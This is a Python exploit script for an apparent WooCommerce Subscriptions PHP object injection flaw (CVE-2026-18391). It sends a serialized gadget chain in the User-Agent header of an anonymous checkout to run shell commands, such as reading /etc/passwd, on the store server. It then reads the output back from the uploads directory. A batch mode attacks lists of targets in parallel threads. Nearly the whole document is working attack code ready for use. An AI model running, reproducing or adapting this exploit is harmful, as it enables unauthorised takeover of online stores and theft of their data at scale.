...[ More ]

#!/usr/bin/env python3
    """
    CVE-2026-18391 - WooCommerce Subscriptions PHP Object Injection to unauthenticated RCE
    Affected: WooCommerce Subscriptions < 9.1.0 (fixed in 9.1.0, 8.8.2, 7.9.1) on stores
              with High-Performance Order Storage (HPOS) enabled
    Type: RCE (PHP Object Injection / unsafe deserialization, CWE-502)
    
    WC_Subscriptions_Data_Copier::copy_data() applies maybe_unserialize() to every value it
    copies from the parent order onto the new subscription. On HPOS stores those values come
    from the WooCommerce CRUD layer and have already been decoded once, so the extra call
    deserializes attacker-controlled text. The order's user_agent column is a verbatim copy
    of the request's User-Agent header, so one anonymous checkout of any subscription product
    reaches unserialize() with fully controlled bytes.
    
    The POP chain used here is built from classes the target already loads:
    
      Sabberworm\\CSS\\CSSList\\AtRuleBlockList::__toString()   (fired by the HPOS save path,
          |                                                     which casts the value to string)
          +-> renderListContents() calls ->render($format) on every member of $aContents
                |
                +-> WP_Block_Type::render() -> call_user_func($this->render_callback, ...)
                      |
                      +-> WCS_Modal::print_content() with content_type 'callback'
                            |
                            +-> call_user_func_array($this->content['callback'],
                                                     $this->content['parameters'])   <-- sink
    
    Command output is written to a file under the uploads directory and then read back over
    HTTP, so success is proven entirely from network-observable evidence.
    
    Usage:
      python exploit.py --host <target>
      python exploit.py --host 192.168.1.10 --port 8080 --command "uname -a"
      python exploit.py --host https://shop.example.com --command "cat /etc/passwd"
      python exploit.py --host https://shop.example.com/store --product 14
      python exploit.py --list targets.txt --workers 20
    """
    
    import argparse
    import base64
    import random
    import re
    import secrets
    import string
    import sys
    import time
    from urllib.parse import urlparse
    
    try:
        import requests
        from requests.packages.urllib3.exceptions import InsecureRequestWarning
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    except ImportError:
        sys.stderr.write("This exploit requires the 'requests' library: pip install requests\n")
        sys.exit(1)
    
    CVE_ID    = "CVE-2026-18391"
    VULN_TYPE = "RCE"
    
    # Class that provides the __toString() entry point. WooCommerce ships Sabberworm's CSS
    # parser under this prefixed namespace in lib/packages/.
    CSS_LIST = "Automattic\\WooCommerce\\Vendor\\Sabberworm\\CSS\\CSSList\\AtRuleBlockList"
    # Second copy of the same library, shipped with the email editor package. Used as a
    # fallback on builds where lib/packages/ is absent.
    CSS_LIST_ALT = ("Automattic\\WooCommerce\\EmailEditorVendor\\Sabberworm\\CSS"
                    "\\CSSList\\AtRuleBlockList")
    
    # Entry points tried in order, with the label shown while each is attempted.
    GADGET_ENTRIES = (("lib/packages CSS parser", CSS_LIST),
                      ("email-editor CSS parser", CSS_LIST_ALT))
    
    DEFAULT_MARKER_DIR = "wp-content/uploads"
    TIMEOUT = 30
    
    BROWSER_UA = ("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 "
                  "(KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36")
    
    
    def header(host: str, port: int) -> None:
        print(f"\n{'='*60}")
        print(f"  ALIM EXPLOIT  {CVE_ID}")
        print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
        print(f"{'='*60}\n")
    
    
    def step(n: int, msg: str) -> None:
        print(f"[STEP {n}] {msg}")
    
    
    def section(label: str, content: str) -> None:
        print(f"\n--- {label} ---")
        print(str(content).strip())
        print("---\n")
    
    
    def done(success: bool, evidence: str) -> None:
        print(f"\n{'='*60}")
        print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
        print(f"  EVIDENCE: {evidence}")
        print(f"{'='*60}\n")
        sys.exit(0 if success else 1)
    
    
    # ---------------------------------------------------------------------------
    # PHP serialization helpers
    #
    # The payload travels in an HTTP header and is then run through wc_clean(), i.e.
    # sanitize_text_field(). That forbids NUL bytes, '<', runs of whitespace and
    # percent-encoded octets. Private and protected property names normally need NUL
    # separators, so they are emitted with PHP's S: escaped-string format instead, which
    # encodes any byte as a \xx hex escape and keeps the whole payload printable ASCII.
    # ---------------------------------------------------------------------------
    
    def _s(value: str) -> str:
        """Plain serialized string. Byte length, not character length."""
        return 's:%d:"%s";' % (len(value.encode("utf-8")), value)
    
    
    def _s_esc(value: str) -> str:
        """Serialized string in PHP's S: escaped form.
    
        Inside an S: string a backslash introduces a two-digit hex escape, so literal
        backslashes and quotes have to be escaped as well - a namespaced property name
        would otherwise eat the bytes that follow each separator.
        """
        out = []
        for ch in value:
            code = ord(ch)
            if code < 0x20 or code > 0x7e or ch in '\\"':
                out.append("\\%02x" % code)
            else:
                out.append(ch)
        return 'S:%d:"%s";' % (len(value), "".join(out))
    
    
    def _a(pairs) -> str:
        """Serialized array from a list of (key, already-serialized-value) pairs."""
        body = ""
        for key, value in pairs:
            body += ('i:%d;' % key) if isinstance(key, int) else _s(key)
            body += value
        return 'a:%d:{%s}' % (len(pairs), body)
    
    
    def _o(cls: str, props) -> str:
        """Serialized object from a list of (serialized-name, serialized-value) pairs."""
        body = "".join(name + value for name, value in props)
        return 'O:%d:"%s":%d:{%s}' % (len(cls), cls, len(props), body)
    
    
    def build_payload(func: str, params, css_list: str = CSS_LIST) -> str:
        """Serialized POP chain ending in call_user_func_array(func, params)."""
        modal = _o("WCS_Modal", [
            (_s_esc("\0WCS_Modal\0content_type"), _s("callback")),
            (_s_esc("\0WCS_Modal\0content"), _a([
                ("callback",   _s(func)),
                ("parameters", _a([(i, _s(p)) for i, p in enumerate(params)])),
            ])),
        ])
        block_type = _o("WP_Block_Type", [
            (_s("render_callback"), _a([(0, modal), (1, _s("print_content"))])),
        ])
        return _o(css_list, [
            (_s_esc("\0*\0aContents"), _a([(0, block_type)])),
            (_s_esc("\0*\0aComments"), "a:0:{}"),
            (_s_esc("\0*\0iLineNo"),   "i:0;"),
            (_s_esc("\0%s\0sType" % css_list), _s("media")),
            (_s_esc("\0%s\0sArgs" % css_list), _s("")),
        ])
    
    
    def payload_is_transportable(payload: str):
        """Check the payload against sanitize_text_field()'s rules.
    
        Returns None when the payload will arrive byte-identical, otherwise a reason string.
        """
        if "<" in payload:
            return "contains '<', which triggers wp_strip_all_tags()"
        if re.search(r"[\r\n\t]", payload):
            return "contains a newline or tab, which is collapsed to a space"
        if "  " in payload:
            return "contains a run of spaces, which is collapsed to one"
        if re.search(r"%[0-9A-Fa-f]{2}", payload):
            return "contains a percent-encoded octet, which is stripped"
        if payload != payload.strip():
            return "has leading or trailing whitespace, which is trimmed"
        try:
            payload.encode("ascii")
        except UnicodeEncodeError:
            return "contains non-ASCII bytes"
        return None
    
    
    def wrap_command(command: str, marker_path: str, use_b64: bool) -> str:
        """Build the shell line that runs the command and captures its output.
    
        Base64 wrapping is the default because it lifts every payload-encoding constraint
        off --command: quotes, angle brackets, tabs and percent signs all survive.
        """
        if use_b64:
            blob = base64.b64encode(command.encode("utf-8")).decode("ascii")
            inner = "echo %s|base64 -d|sh" % blob
        else:
            inner = command
        return "%s > %s 2>&1" % (inner, marker_path)
    
    
    # ---------------------------------------------------------------------------
    # Target plumbing
    # ---------------------------------------------------------------------------
    
    def _base_url(host: str, port: int, use_tls: bool, path: str = "/") -> str:
        scheme = "https" if use_tls else "http"
        default_port = 443 if use_tls else 80
        netloc = host if port == default_port else "%s:%d" % (host, port)
        return "%s://%s%s" % (scheme, netloc, path.rstrip("/"))
    
    
    def _session() -> "requests.Session":
        sess = requests.Session()
        sess.verify = False
        sess.headers.update({"User-Agent": BROWSER_UA,
                             "Accept": "text/html,application/xhtml+xml,*/*"})
        return sess
    
    
    def _checkout_html(sess, base: str):
        """Load the checkout page for the current cart. Returns (url, html) or (None, None)."""
        resp = sess.get(base + "/checkout/", timeout=TIMEOUT, allow_redirects=True)
        if "woocommerce-process-checkout-nonce" in resp.text:
            return resp.url, resp.text
        # Some stores rename or relocate the checkout page. Follow the cart page's own link.
        cart = sess.get(base + "/cart/", timeout=TIMEOUT, allow_redirects=True)
        for href in re.findall(r'href="([^"]*checkout[^"]*)"', cart.text):
            if "add-to-cart" in href or "#" in href:
                continue
            target = href if href.startswith("http") else base + "/" + href.lstrip("/")
            try:
                resp = sess.get(target, timeout=TIMEOUT, allow_redirects=True)
            except requests.RequestException:
                continue
            if "woocommerce-process-checkout-nonce" in resp.text:
                return resp.url, resp.text
        return None, None
    
    
    _SUBSCRIPTION_MARKER = re.compile(r"recurring[ _-]?total|wcs-|subscription_details", re.I)
    
    
    def _load_cart(sess, base: str, product_id):
        """Put a subscription product in the cart and open checkout.
    
        Returns (product_id, checkout_url, checkout_html). Raises RuntimeError on failure.
        """
        if product_id:
            sess.get(base + "/?add-to-cart=%s" % product_id, timeout=TIMEOUT)
            url, html = _checkout_html(sess, base)
            if not html:
                raise RuntimeError("checkout page not reachable with product %s in the cart"
                                   % product_id)
            return product_id, url, html
    
        candidates = []
        reached = False
        for listing in ("/?post_type=product", "/shop/", "/"):
            try:
                page = sess.get(base + listing, timeout=TIMEOUT).text
            except requests.RequestException as exc:
                transport_error = exc
                continue
            reached = True
            for found in (re.findall(r"add-to-cart=(\d+)", page)
                          + re.findall(r'data-product_id="(\d+)"', page)):
                if found not in candidates:
                    candidates.append(found)
            if candidates:
                break
        if not reached:
            raise transport_error
        if not candidates:
            raise RuntimeError("no purchasable products found on the storefront")
    
        first_error = None
        for pid in candidates[:12]:
            probe = _session()
            probe.get(base + "/?add-to-cart=%s" % pid, timeout=TIMEOUT)
            url, html = _checkout_html(probe, base)
            if not html:
                first_error = "checkout page not reachable"
                continue
            if _SUBSCRIPTION_MARKER.search(html):
                sess.cookies.update(probe.cookies)
                return pid, url, html
            first_error = "no subscription product in the catalogue"
        raise RuntimeError(first_error or "no subscription product found")
    
    
    def _form_fields(html: str, nonce: str, referer: str) -> dict:
        """Build the checkout POST body from what the rendered form actually offers."""
        def selected(field, fallback):
            pattern = (r'id="%s".*?</select>' % field)
            block = re.search(pattern, html, re.S)
            if block:
                option = re.search(r'<option value="([^"]+)"\s+selected', block.group(0))
                if option:
                    return option.group(1)
                option = re.search(r'<option value="([A-Z]{2,3})"', block.group(0))
                if option:
                    return option.group(1)
            return fallback
    
        gateway = re.search(r'name="payment_method"\s+value="([^"]+)"', html)
        suffix = "".join(random.choice(string.ascii_lowercase) for _ in range(8))
        fields = {
            "billing_first_name": "Jordan",
            "billing_last_name": "Reyes",
            "billing_company": "",
            "billing_country": selected("billing_country", "US"),
            "billing_address_1": "1 Market St",
            "billing_address_2": "",
            "billing_city": "San Jose",
            "billing_state": selected("billing_state", "CA"),
            "billing_postcode": "95112",
            "billing_phone": "4085550100",
            "billing_email": "%[email protected]" % suffix,
            "order_comments": "",
            "payment_method": gateway.group(1) if gateway else "cod",
            "woocommerce_checkout_place_order": "Place order",
            "terms": "on",
            "terms-field": "1",
            "woocommerce-process-checkout-nonce": nonce,
            "_wp_http_referer": referer,
        }
        if 'id="account_password"' in html:
            fields["account_password"] = "Aa1!%s" % suffix
        if 'id="account_username"' in html:
            fields["account_username"] = "u%s" % suffix
        if 'id="createaccount"' in html:
            fields["createaccount"] = "1"
        if 'id="shipping_country"' in html:
            fields["ship_to_different_address"] = ""
        return fields
    
    
    def _place_order(sess, base: str, checkout_html: str, checkout_url: str, ua: str):
        """POST the checkout with the payload in the User-Agent. Returns the response."""
        nonce = re.search(r'name="woocommerce-process-checkout-nonce"\s+value="([^"]+)"',
                          checkout_html)
        if not nonce:
            raise RuntimeError("checkout nonce not present in the checkout form")
        referer = urlparse(checkout_url).path or "/checkout/"
        fields = _form_fields(checkout_html, nonce.group(1), referer)
        return sess.post(base + "/?wc-ajax=checkout",
                         data=fields,
                         headers={"User-Agent": ua,
                                  "Content-Type": "application/x-www-form-urlencoded",
                                  "Referer": checkout_url},
                         timeout=TIMEOUT,
                         allow_redirects=False)
    
    
    def _fetch_marker(sess, base: str, marker_path: str):
        """Read the command output back over HTTP. Returns the body, or None."""
        for attempt in range(3):
            try:
                resp = sess.get("%s/%s" % (base, marker_path), timeout=TIMEOUT)
            except requests.RequestException:
                resp = None
            if resp is not None and resp.status_code == 200 and "<html" not in resp.text[:200].lower():
                return resp.text
            if attempt < 2:
                time.sleep(1)
        return None
    
    
    def _run_chain(sess, base: str, func: str, params, product_id, css_list: str):
        """One anonymous checkout carrying the POP chain. Returns the HTTP response."""
        payload = build_payload(func, params, css_list)
        problem = payload_is_transportable(payload)
        if problem:
            raise RuntimeError("payload would not survive sanitize_text_field(): %s" % problem)
        pid, url, html = _load_cart(sess, base, product_id)
        del pid
        return _place_order(sess, base, html, url, payload)
    
    
    def _injection_oracle(base: str, product_id):
        """Differential probe that proves deserialization without needing a gadget.
    
        A serialized object of a class that does not exist becomes __PHP_Incomplete_Class;
        the HPOS save path then casts it to string and the resulting PHP Error is uncaught.
        A byte-for-byte length match that is not valid serialized syntax must check out
        normally, which rules out any length or content sensitivity.
        """
        name = "".join(random.choice(string.ascii_letters) for _ in range(20))
        serialized = 'O:20:"%s":0:{}' % name
        control = 'Ox20x%sx0x{}' % name
        results = {}
        for label, probe in (("serialized", serialized), ("control", control)):
            probe_sess = _session()
            pid, url, html = _load_cart(probe_sess, base, product_id)
            del pid
            resp = _place_order(probe_sess, base, html, url, probe)
            results[label] = resp.status_code
        return serialized, control, results
    
    
    # ---------------------------------------------------------------------------
    # Scan mode
    # ---------------------------------------------------------------------------
    
    def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/",
                     command: str = "id", product_id=None, marker_dir: str = DEFAULT_MARKER_DIR,
                     use_b64: bool = True, cleanup: bool = True) -> tuple:
        """Silent probe for --list scan mode. Returns (success, evidence). Never prints."""
        base = _base_url(host, port, use_tls, path)
        token = secrets.token_hex(8)
        marker_path = "%s/%s.txt" % (marker_dir.strip("/"), token)
        try:
            sess = _session()
            for _, css_list in GADGET_ENTRIES:
                _run_chain(sess, base, "shell_exec",
                           [wrap_command(command, marker_path, use_b64)],
                           product_id, css_list)
                output = _fetch_marker(sess, base, marker_path)
                if output:
                    if cleanup:
                        try:
                            _run_chain(_session(), base, "unlink", [marker_path],
                                       product_id, css_list)
                        except Exception:
                            pass
                    first = output.strip().splitlines()[0] if output.strip() else "(empty)"
                    return True, "command output: %s" % first[:120]
            # No command output. Fall back to proving the deserialization itself.
            _, _, results = _injection_oracle(base, product_id)
            if results.get("serialized") >= 500 > results.get("control", 500):
                return False, ("object injection confirmed (HTTP %d vs control HTTP %d) but "
                               "command output not retrievable"
                               % (results["serialized"], results["control"]))
            return False, "no injection evidence - target may be patched or not using HPOS"
        except requests.RequestException as exc:
            return False, "unreachable (%s)" % exc.__class__.__name__
        except Exception as exc:
            return False, "%s: %s" % (exc.__class__.__name__, exc)
    
    
    def _parse_target(line: str, default_port: int, default_path: str = "/"):
        """One target line -> (host, port, use_tls, path), or None to skip."""
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file: str, default_port: int, workers: int = 10, **kwargs) -> None:
        """Batch scan from file."""
        import concurrent.futures
    
        with open(targets_file) as handle:
            targets = [_parse_target(line, default_port) for line in handle]
        targets = [t for t in targets if t is not None]
    
        print(f"\n{'='*60}")
        print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
        print(f"{'='*60}\n")
    
        success_count = 0
    
        def probe(target):
            host, port, use_tls, path = target
            label = "%s://%s:%d%s" % ("https" if use_tls else "http", host, port,
                                      "" if path == "/" else path)
            ok, evidence = _try_exploit(host, port, use_tls, path=path, **kwargs)
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as pool:
            futures = {pool.submit(probe, t): t for t in targets}
            for future in concurrent.futures.as_completed(futures):
                label, ok, evidence = future.result()
                print("  %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
                                            "Exploited" if ok else "Not exploited", evidence))
                if ok:
                    success_count += 1
    
        total = len(targets)
        print(f"\n{'='*60}")
        print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not exploited  ({total} total)")
        print(f"{'='*60}\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    # ---------------------------------------------------------------------------
    # Single-target exploit
    # ---------------------------------------------------------------------------
    
    def exploit(host: str, port: int, use_tls: bool, command: str, path: str = "/",
                product_id=None, marker_dir: str = DEFAULT_MARKER_DIR,
                use_b64: bool = True, cleanup: bool = True) -> None:
        header(host, port)
        base = _base_url(host, port, use_tls, path)
        token = secrets.token_hex(8)
        marker_path = "%s/%s.txt" % (marker_dir.strip("/"), token)
        sess = _session()
    
        step(1, "Locating a purchasable subscription product...")
        try:
            pid, checkout_url, checkout_page = _load_cart(sess, base, product_id)
        except requests.RequestException as exc:
            done(False, "target unreachable (%s)" % exc.__class__.__name__)
            return
        except RuntimeError as exc:
            done(False, "no usable subscription checkout: %s" % exc)
            return
        print("         product id %s, checkout at %s" % (pid, checkout_url))
    
        shell_line = wrap_command(command, marker_path, use_b64)
        for label, css_list in GADGET_ENTRIES:
            step(2, "Sending the object injection payload in the User-Agent header"
                    " (gadget entry: %s)" % label)
            payload = build_payload("shell_exec", [shell_line], css_list)
            problem = payload_is_transportable(payload)
            if problem:
                done(False, "payload cannot be transported: %s" % problem)
                return
            print("         payload: %d bytes, command wrapped as: %s" % (len(payload), shell_line))
            try:
                resp = _place_order(sess, base, checkout_page, checkout_url, payload)
            except requests.RequestException as exc:
                done(False, "checkout POST failed (%s)" % exc.__class__.__name__)
                return
            except RuntimeError as exc:
                done(False, str(exc))
                return
            print("         checkout responded HTTP %d" % resp.status_code)
    
            step(3, "Reading command output back over HTTP from %s" % marker_path)
            output = _fetch_marker(sess, base, marker_path)
            if output:
                section("COMMAND OUTPUT", output)
                if cleanup:
                    step(4, "Removing the marker file left behind on the target")
                    try:
                        _run_chain(_session(), base, "unlink", [marker_path], pid, css_list)
                        gone = _fetch_marker(_session(), base, marker_path) is None
                        print("         marker removed: %s" % ("yes" if gone else "no"))
                    except Exception as exc:
                        print("         cleanup failed (%s) - remove %s manually"
                              % (exc.__class__.__name__, marker_path))
                first_line = output.strip().splitlines()[0] if output.strip() else "(no output)"
                done(True, "RCE confirmed - command '%s' executed on the target as the web "
                           "user: %s" % (command, first_line))
                return
            print("         no output at that path yet")
            # Refresh the cart and nonce before the next attempt: a consumed checkout nonce
            # produces a generic error that reads like the exploit failing.
            sess = _session()
            try:
                pid, checkout_url, checkout_page = _load_cart(sess, base, pid)
            except Exception:
                break
    
        step(4, "No command output. Falling back to the injection oracle to establish"
                " whether the deserialization itself is reachable.")
        try:
            serialized, control, results = _injection_oracle(base, pid)
        except Exception as exc:
            done(False, "no command output and the oracle could not run (%s)"
                        % exc.__class__.__name__)
            return
        section("INJECTION ORACLE",
                "serialized payload  %-42s -> HTTP %d\n"
                "same-length control %-42s -> HTTP %d"
                % (serialized, results["serialized"], control, results["control"]))
        if results["serialized"] >= 500 > results["control"]:
            done(False, "PHP object injection confirmed (serialized payload HTTP %d vs "
                        "control HTTP %d) but no command execution: the gadget classes this "
                        "chain needs are not loaded on this target"
                        % (results["serialized"], results["control"]))
        else:
            done(False, "no exploitation evidence - the store is patched, is not using HPOS, "
                        "or the cart held no subscription product")
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
                                               "(e.g. https://shop.example.com/store)")
        target_grp.add_argument("--list", metavar="FILE",
                                help="File with one target per line for batch scan")
        parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
        parser.add_argument("--command", default="id",
                            help="Command to execute on the target (default: id)")
        parser.add_argument("--product", type=int, default=0,
                            help="Subscription product id to buy (default: auto-discover)")
        parser.add_argument("--marker-dir", default=DEFAULT_MARKER_DIR,
                            help="Web-readable directory the output is written to, relative "
                                 "to the WordPress root (default: %s)" % DEFAULT_MARKER_DIR)
        parser.add_argument("--no-b64", action="store_true",
                            help="Send --command verbatim instead of base64-wrapping it "
                                 "(for targets without a base64 binary)")
        parser.add_argument("--no-cleanup", action="store_true",
                            help="Leave the output file on the target")
        parser.add_argument("--workers", type=int, default=10,
                            help="Threads for --list mode (default: 10)")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        common = {
            "command": args.command,
            "product_id": args.product or None,
            "marker_dir": args.marker_dir,
            "use_b64": not args.no_b64,
            "cleanup": not args.no_cleanup,
        }
    
        if args.list:
            scan(args.list, default_port=args.port, workers=args.workers, **common)
        else:
            parsed = _parse_target(args.host, args.port)
            host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
            if args.tls:
                use_tls = True
            if args.no_tls:
                use_tls = False
            exploit(host, port, use_tls, path=path, **common)